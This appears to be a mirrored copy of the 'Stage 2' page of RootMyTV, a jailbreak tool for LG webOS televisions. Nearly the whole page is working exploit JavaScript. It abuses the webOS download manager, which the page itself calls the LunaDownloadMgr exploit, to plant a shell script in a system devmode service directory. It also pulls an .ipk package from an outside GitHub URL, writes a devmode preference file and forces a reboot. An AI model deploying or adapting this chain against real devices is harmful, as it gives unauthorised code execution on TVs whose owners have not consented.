kopia lustrzana https://github.com/RootMyTV/RootMyTV.github.io
92 wiersze
2.9 KiB
HTML
92 wiersze
2.9 KiB
HTML
<!DOCTYPE html>
|
|
<html>
|
|
|
|
<head>
|
|
<title>RootMyTV - Stage 2</title>
|
|
<link rel="stylesheet" href="css/common.css" />
|
|
</head>
|
|
|
|
<body>
|
|
<header>
|
|
<h1>RootMy.TV</h1>
|
|
</header>
|
|
<hr>
|
|
<section class="content-center">
|
|
<article>
|
|
<pre id="log"></pre>
|
|
</article>
|
|
</section>
|
|
<hr>
|
|
<script src="lib/webOSTV.js"></script>
|
|
<script>
|
|
function log(str) {
|
|
var logBox = document.querySelector('#log');
|
|
logBox.innerText = logBox.innerText + str + '\n';
|
|
logBox.scrollIntoView(false)
|
|
}
|
|
|
|
window.onerror = function (err) {log('Unexpected error: ' + err);};
|
|
|
|
(function () {
|
|
function download(url, targetDir, targetFilename, success) {
|
|
var target = new URL(url, window.location.href).href;
|
|
log(targetFilename + ': Downloading from ' + target + '...');
|
|
webOS.service.request('luna://com.webos.service.downloadmanager', {
|
|
method: 'download',
|
|
parameters: {
|
|
target: target,
|
|
targetDir: targetDir,
|
|
targetFilename: targetFilename,
|
|
subscribe: true,
|
|
},
|
|
|
|
onSuccess: function (res) {
|
|
if (res.completed === true) {
|
|
if (res.destPath !== targetDir) {
|
|
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
|
|
} else if (res.httpStatus !== 200) {
|
|
log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
|
|
} else {
|
|
log(targetFilename + ': Download completed');
|
|
success();
|
|
}
|
|
}
|
|
},
|
|
|
|
onFailure: function (err) {
|
|
log('err: ' + JSON.stringify(err));
|
|
},
|
|
});
|
|
}
|
|
|
|
function reboot() {
|
|
webOS.service.request('luna://com.webos.service.sleep', {
|
|
method: 'shutdown/machineReboot',
|
|
parameters: {
|
|
reason: "SwDownload"
|
|
},
|
|
onSuccess: function (res) {
|
|
log("Reboot request succeeded. Bye?");
|
|
},
|
|
onFailure: function (res) {
|
|
log("Failed to reboot: " + JSON.stringify(res));
|
|
},
|
|
});
|
|
}
|
|
|
|
// Placeholder...
|
|
var homebrewChannelURL = 'https://github.com/mariotaku/moonlight-tv/releases/download/v0.7.4/com.limelight.webos_0.7.4_arm.ipk';
|
|
|
|
download('stage3.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode-xxx.sh', function () {
|
|
download(homebrewChannelURL, '/media/internal/downloads/', 'hbchannel.ipk', function () {
|
|
download('devmode_enabled', '/var/luna/preferences/', 'devmode_enabled', function () {
|
|
reboot();
|
|
});
|
|
});
|
|
});
|
|
})();
|
|
</script>
|
|
</body>
|
|
|
|
</html>
|